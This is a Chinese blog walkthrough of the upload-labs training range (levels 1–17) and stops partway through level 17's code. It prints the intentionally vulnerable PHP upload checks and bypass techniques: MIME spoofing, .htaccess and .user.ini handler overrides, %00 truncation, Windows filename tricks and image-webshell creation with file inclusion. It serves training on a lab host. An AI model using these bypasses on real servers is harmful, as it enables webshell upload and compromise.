WEB常见漏洞之文件上传(靶场篇)
2023-2-6 10:4:37 Author: 黑白之道(查看原文) 阅读量:15 收藏

0x01漏洞概述

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。

0x02环境配置

在 Windows 下使用 phpstudy 搭建靶场环境,将靶场放置到其 web 环境当中

靶场地址:https://github.com/c0ny1/upload-labs

成功访问说明靶场已经部署完成

思维导图如下:

0x03前端验证

Pass-01

场景分析

直接上传PHP文件浏览器会提示文件类型不正确,这多半就是前端校验

function checkFile() {    var file = document.getElementsByName('upload_file')[0].value;    if (file == null || file == "") {        alert("请选择要上传的文件!");        return false;    }    //定义允许上传的文件类型    var allow_ext = ".jpg|.png|.gif";    //提取上传文件的类型    var ext_name = file.substring(file.lastIndexOf("."));    //判断上传文件类型是否允许上传    if (allow_ext.indexOf(ext_name + "|") == -1) {        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;        alert(errMsg);        return false;    }}

从上可知 JS 中定义白名单,白名单里包含.jpg、.png、.gif。前端验证绕过有三个思路,一是满足 JavaScript 规定的条件,通过抓包修改文件名;二是让用于验证的 JavaScript 代码不生效;三是修改 JavaScript 满足上传条件。

抓包绕过

首先将文件名phpinfo.php后缀修改为.png

mv phpinfo.php phpinfo.png

截取上传数据包并后缀名修改为php

成功访问phpinfo.php

禁用JS

使用浏览器插件Quick Javascript Switcher禁用JavaScript

成功访问phpinfo.php

调试JS

 在浏览器中选择审查元素并在以下位置中设置断点

创建top/172.16.117.135/upload/Pass-01/index.php目录文件并在其中添加后缀名

var allow_ext = ".jpg|.png|.gif|.php";

在Sources中找到Overrides选择本地目录进行覆盖并保存

刷新网站后再次上传即可直接上传成功

删除JS

复制站点源代码为test.html并从中删除 JavaScript 限制代码

在上传点修改action路径,指定图片上传脚本

<form action="http://172.16.117.135/upload/Pass-01/index.php" enctype="multipart/form-data" method="post" onsubmit="return checkFile()">

选择文件点击上传

成功访问上传文件

0x04后端验证

Pass-02

场景分析

MIME 是什么呢?

MIME(媒体类型)是一种标准,主要用来表示文档、文件或字节流的性质和格式。它的组成结构非常简单,由类型与子类型两个字符串中间用'/'分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。

type/subtype

常见的 MIME 类型包含如下:

application/octet-stream #应用程序的默认值text/plain #文本类型的默认值text/html #html类型的默认值text/css #CSS类型默认值text/javascript #JavaScript类型的默认值image/png #png图片的默认值
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']                        if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '文件类型不正确,请重新上传!';        }    } else {        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';    }}

这是一个后端校验的 PHP 代码,从上可知其中定义了 MIME 白名单,白名单里包含了image/jpeg、image/png、image/gif,脚本会检测上传数据包的 MIME 类型是否在白名单当中,如果不在白名单之内则无法上传。通过修改上传数据包的 MIME 类型可绕过限制,文件后缀名并没有因此发生改变,我们能直接访问木马文件。

修改MIME

上传php 文件后截取数据包将Content-Type类型修改为图片类型image/png

成功访问上传文件

Pass-03

场景分析

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array('.asp','.aspx','.php','.jsp');        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里包含.asp、.aspx、.php、.jsp,脚本会检测后缀名是否在黑名单当中,如果在黑名单则无法上传。虽然在黑名单中禁止了典型的脚本后缀名,但是与典型的脚本后缀同义的后缀名还有许多,比如php5、pht、phtml、php4等后缀名都能解析为php脚本,而cer、asa、cdx等后缀名都能解析为asp脚本。因此通过修改同义后缀名可绕过限制。

需要注意的是在默认情况下 php 的同义后缀名是无法解析的。

修改同义后缀名

上传 php 文件后截取数据包将后缀名类型修改为php5

在默认情况下.php5无法被正常解析

解决方法是修改 Apache 默认配置文件httpd.conf并重启

AddType application/x-httpd-php .php .phtml .php5

 AllowOverride All

成功访问上传文件

Pass-04

场景分析

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名以及.ini,脚本会检测文件后缀名是否在黑名单当中,如果在黑名单当中则无法上传。但黑名单当中忽略了.htaccess文件。

什么是.htaccess呢?

.htaccess文件可用于覆盖 Apache 的默认配置文件httpd.conf修改解析格式来绕过黑名单。它提供了针对目录改变配置的方法,在特定的文档目录中放置该文件可作用此目录以及所有子目录。而.htaccess生效的前提与上一题类似,需要在 Apache 配置文件httpd.conf配置参数AllowOverride为All,因此我们可通过上传定制的.htaccess绕过限制

上传.htaccess

编写.htaccess文件并添加 php 解析,使所有带有 mac 的文件都能解析为 php

<FilesMatch "mac">Sethandler application/x-httpd-php</FilesMatch>

上传时又遇到一个问题:.htaccess无法被选择。我们可将其重命名为1.htaccess后通过 BurpSuite 抓包修改回.htaccess

然后上传带有 php 代码的mac.png

成功访问上传文件

在实战中需要注意的是如果遇到文件名被重命名就不能使用该方法,因为即使重命名为1.htaccess也无法生效,切记

Pass-05

场景分析

访问readme.php并未发现有什么可疑之处

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //首尾去空                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名和.htaccess,脚本会检测文件后缀名是否在黑名单当中,如果在黑名单当中则无法上传。但黑名单当中忽略了.user.ini文件。

什么是.user.ini呢?

.user.ini是 php 中一种配置文件,众所周知当服务器以fastcgi运行脚本程序 php 时,php.ini是 php 的配置文件,它能对文件解析、导入扩展等进行个性化配置,而.user.ini与php.ini类似,它相当于一个用户自定义的php.ini,但不能修改任意php.ini中的属性值,php.ini的属性设置可分为四大类

PHP_INI_USER #可在用户脚本(如ini_set())、Windows 注册表(PHP 5.3及以上)、.user.ini中设置PHP_INI_PERDIR #可在php.ini.htaccesshttpd.conf中设置PHP_INI_SYSTEM #可在php.inihttpd.conf中设置PHP_INI_ALL #可在任何地方设置

从以上分类可知,只要不是PHP_INI_SYSTEM模式下的属性,均可在.user.ini中设置。auto_append_file以及auto_prepend_file均能自动包含文件且属于PHP_INI_PERDIR模式,通过利用这两个属性可上传.user.ini加载文件可完成文件包含。因此我们可通过上传定制的.user.ini绕过限制

上传.user.ini

编写.user.ini文件并添加 php 解析,使名为 mac.gif 的文件解析为 php

auto_prepend_file=mac.gif

将.user.ini重命名为1.user.ini后选择上传,通过 BurpSuite 抓包修改文件名回.user.ini

上传带有 php 代码的mac.gif,这时所有的 php 文件都会包含该图片

访问readme.php即可完成 php 解析

Pass-06

场景分析

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名、.htaccess以及.ini。与此同时脚本还会对上传文件名进行过滤,包括删除文件名末尾的点、首尾去空、去除字符串::$DATA等。但由于定义的黑名单并不完整并且没有强制大小写转换。因此我们可通过大小写转换的方式绕过限制

大小写转换

将 php 文件后缀名修改为.Php并上传

但无法访问上传文件,界面显示500。这是由于当前的 Windows 系统对文件名中的大小写不敏感,而 Linux 系统对文件名中的大小写敏感

我们将环境通过 Docker 切换为 Linux 平台再次测试

cd upload-labs/dockerdocker build -t upload-labs .docker run -d -p 80:80 upload-labs:latest

环境搭建完成后上传文件

成功访问上传文件

Pass-07

场景分析

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = $_FILES['upload_file']['name'];        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件不允许上传';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名、.htaccess以及.ini。与此同时脚本还会对上传文件名进行过滤,包括删除文件名末尾的点、去除字符串::$DATA、将字符转换为小写等。但由于没有强制首尾去空。我们可以在文件名后加空格绕过限制,利用 Windows 系统特性完成上传。

文件名加空

上传 php 文件并在文件后缀名后加上空格,上传后系统会自动将空格清除以完成正常解析

成功访问上传文件

Pass-08

场景分析

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //首尾去空                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名、.htaccess以及.ini,与此同时脚本还会对上传文件名进行过滤,包括首尾去空、去除字符串::$DATA、将字符转换为小写等。但由于没有删除文件名末尾的点。我们可以在文件名后加点绕过限制,利用 Windows 系统特性完成上传。

 文件名加.

上传 php 文件并在文件后缀名后加上符号点,上传后系统会自动将点清除以完成正常解析

成功访问上传文件

Pass-09

场景分析

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = trim($file_ext); //首尾去空                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名、.htaccess以及.ini,与此同时脚本还会对上传文件名进行过滤,包括首尾去空、删除文件名末尾的点、将字符转换为小写等。但它并没有过滤::$DATA。

那什么是::$DATA呢?

这其实是 Windows 系统中 NTFS 文件系统的特性,::$DATA是 NTFS 存储数据流的一个属性,当我们访问mac.php::$DATA时就是请求mac.php本身,如果它还包含了其他数据流,如mac.php:mac2.php::$DATA就会请求mac2.php中的数据流。因此我们可以在文件名后加::$DATA绕过限制,利用 Windows 系统特性完成上传

文件名加::$DATA

上传 php 文件并在文件后缀名后加上::$DATA,上传后系统会自动将::$DATA清除以完成正常解析

成功访问上传文件

Pass-10

 场景分析

查看提示信息本题只允许上传图片后缀的文件

校验源代码如下:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //首尾去空                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名、.htaccess以及.ini,与此同时脚本还会对上传文件名进行过滤,包括首尾去空、删除文件名末尾的点、将字符转换为小写、去除字符串::$DATA等。但由于只对点进行了单次过滤,因此如果我们上传mac.php. .最终会过滤为mac.php.,这样也就演变成了第八题。虽然以上几题都能通过这种方式绕过限制,但是这并不意味着我们要“一招鲜,吃遍天”,而学习多种绕过姿势才是我们的目的。

文件名加. .

上传 php 文件并在文件后缀名后加上. .,上传后脚本会去除 .,同时系统会自动将.清除以完成正常解析

成功访问上传文件

Pass-11

场景分析

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单里几乎包含了所有可解析的后缀名、.htaccess以及.ini,当上传文件的后缀名与黑名单匹配时会自动去除后缀名,没有了后缀名文件自然也无法解析,但由于只过滤单次后缀名,因此我们可以双写后缀名绕过限制

双写后缀名

上传名为mac.pphphp的 php 文件

成功访问上传文件

Pass-12

场景分析

$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $ext_arr = array('jpg','png','gif');    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);    if(in_array($file_ext,$ext_arr)){        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名白名单,白名单中包含了jpg、png、gif,脚本会检测上传数据包的 MIME 类型是否在白名单当中,但由于文件上传路径可控,因此我们可以使用00截断的方式绕过限制。

那什么是00截断呢?

在 ASCII 码中0一般作为特殊字符保留,一般代表字符串结束。0x00、%00、/00其实都代表同一意思,当%00出现时其实就目标就会认为内容读取已经结束,从而忽略到%00后的字符串。但在 PHP 中的00截断需要注意几个前提:

1、PHP版本小于5.3.42、PHP中的magic_quotes_gpc关闭

00截断

上传 php 文件并将文件路径修改为../upload/mac.php%00

成功访问上传文件

Pass-13

场景分析

$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $ext_arr = array('jpg','png','gif');    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);    if(in_array($file_ext,$ext_arr)){        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传失败"; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!"; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名白名单,白名单中包含了jpg、png、gif,脚本会检测上传数据包的 MIME 类型是否在白名单当中,但由于文件上传路径可控,因此我们可以使用00截断的方式绕过限制。

那什么是00截断呢?

在 ASCII 码中0一般作为特殊字符保留,一般代表字符串结束。0x00、%00、/00其实都代表同一意思,当%00出现时其实就目标就会认为内容读取已经结束,从而忽略到%00后的字符串。但在 PHP 中的00截断需要注意几个前提:

1、PHP版本小于5.3.42、PHP中的magic_quotes_gpc关闭

00截断+URL编码

上传php 文件并将文件路径修改为../upload/mac.php%00,本题与上题类似,只不过修改位置进行了替换,我们需要对%00进行URL编码

成功访问上传文件

Pass-14

 场景分析

本题对文件内容的前两个字节进行检测,同时提示其中存在文件包含漏洞

function getReailFileType($filename){    $file = fopen($filename, "rb");    $bin = fread($file, 2); //只读2字节    fclose($file);    $strInfo = @unpack("C2chars", $bin);        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);        $fileType = '';        switch($typeCode){              case 255216:                        $fileType = 'jpg';            break;        case 13780:                        $fileType = 'png';            break;                case 7173:                        $fileType = 'gif';            break;        default:                        $fileType = 'unknown';        }            return $fileType;}
$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件白名单,白名单中包含了jpg、png、gif,脚本会检查文件开头的两个字节来判断文件是否为白名单。如果判断文件不为白名单则上传失败,因此我们可以伪造图片头并在图片中插入代码,使用图片马上传的方式可绕过限制吗,然后配合文件包含完成脚本解析

结合文件包含漏洞

文件包含漏洞通过参数file来指定图片马可进行解析

文件包含+图片马

首先我们需要制作图片马,在不同系统中制作方式也不同

# Windowscopy 1.png /a + 2.php /b 3.png# Linuxcat 1.png 2.php > 3.png

图片马生成后开始上传文件

成功访问上传文件

配合文件包含成功解析

include.php?file=upload/4720220519155838.png

Pass-15

场景分析

查看提示信息本题使用getimagesize()进行检测,同时提示其中存在文件包含漏洞

那什么是 getimagesize() 函数呢?

getimagesize() 函数用于获取图像大小及相关信息,图片对象包括 GIF、JPG、PNG 等,如果获取成功会返回一个数组,失败则会返回 FALSE 并产生一条 E_WARNING 级的错误信息。

function isImage($filename){    $types = '.jpeg|.png|.gif';    if(file_exists($filename)){        $info = getimagesize($filename);        $ext = image_type_to_extension($info[2]);        if(stripos($types,$ext)>=0){            return $ext;        }else{            return false;        }    }else{        return false;    }}
$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名白名单,白名单中只包含了图片后缀,与此同时它通过getimagesize()函数检查文件是否为图片。我们可以使用上传图片马的方式绕过限制。但它与上一题略有不同,在上一题中如果我们只修改文件前两个字节还能够上传成功,那么这题就不行了,需要实实在在构造一个图片马才行。

结合文件包含漏洞

由于题中本身存在文件包含漏洞,通过参数file来指定图片马可完成解析

文件包含+图片马(首部检查)

首先我们需要制作图片马,在不同系统中制作方式也不同

# Windowscopy 1.png /a + 2.php /b 3.png# Linuxcat 1.png 2.php > 3.png

图片马生成后开始上传文件

成功访问上传文件

配合文件包含成功解析

include.php?file=upload/4720220519161618.png

Pass-16

场景分析

本题使用exif_imagetype()进行检测,同时提示其中存在文件包含漏洞

那什么是 exif_imagetype() 函数呢?

exif_imagetype() 函数会读取一个图像的第一个字节并检查其签名。主要用来检查某个文件是否为图像。但它需要在php.ini中添加php_exif扩展并重启应用,否则无法调用该函数

function isImage($filename){    //需要开启php_exif模块    $image_type = exif_imagetype($filename);    switch ($image_type) {        case IMAGETYPE_GIF:            return "gif";            break;        case IMAGETYPE_JPEG:            return "jpg";            break;        case IMAGETYPE_PNG:            return "png";            break;            default:            return false;            break;    }}
$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名白名单,白名单中只包含了图片后缀,与此同时它通过exif_imagetype()函数检查文件是否为图片。我们可以使用上传图片马的方式绕过限制。

结合文件包含漏洞

由于题中本身存在文件包含漏洞,通过参数file来指定图片马可完成解析

文件包含+图片马(函数检查)

首先我们需要制作图片马,在不同系统中制作方式也不同

# Windowscopy 1.png /a + 2.php /b 3.png# Linuxcat 1.png 2.php > 3.png

图片马生成后开始上传文件

成功访问上传文件

配合文件包含成功解析

include.php?file=upload/9220220519163603.png

Pass-17

场景分析

发现本题重新渲染了图片,同时提示其中存在文件包含漏洞

$is_upload = false;$msg = null;if (isset($_POST['submit'])){    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径    $filename = $_FILES['upload_file']['name'];    $filetype = $_FILES['upload_file']['type'];    $tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名 $fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path);
if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; }
}else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefrompng($target_path);
if($im == false){ $msg = "该文件不是png格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".png"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagepng($im,$img_path);
@unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; }
